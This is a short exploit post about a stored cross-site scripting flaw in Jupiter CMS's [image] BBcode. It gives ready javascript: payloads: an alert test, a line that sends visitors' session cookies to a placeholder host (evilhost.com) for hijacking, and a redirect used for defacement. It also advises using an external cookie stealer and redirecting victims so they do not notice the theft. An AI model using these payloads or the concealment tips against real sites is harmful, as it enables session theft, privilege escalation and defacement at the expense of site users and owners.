Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or
limbo, allowing users to subscribe and posts events.
Because no filtering is done upon [image] BBcode input, any user is capable of
inserting arbitrary javascript code, allowing for credential theft
leading/session hijacking
and possibly site defacement.
Examples:
This would make a messagebox pop up saying 'XSS', whenever the events get
loaded (on the main page, calender,etc):
[image=javascript:alert('XSS')]
This would allow an attacker to steal session ID's, which he could insert into
his own cookie to hijack sessions and elevate his/her privileges:
[image=javascript:window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)]
It would be used with SjaakRake's cookie stealer
(http://www.milw0rm.com/exploits/1103), with maybe the addition of a
header("location: ".<anythinghere>), to redirect the user to a page of your
choice, to avoid suspicion and
disclosure of your cookiestealer's location.
This injections would allow an attacker to redirect users to a page of his
choice, effectively defacing the page:
[image=javascript:window.navigate('http://www.evilhost.com/pwned.html')]
As you can see the possibilities are limitless, as long as you have a bit of
fantasy!
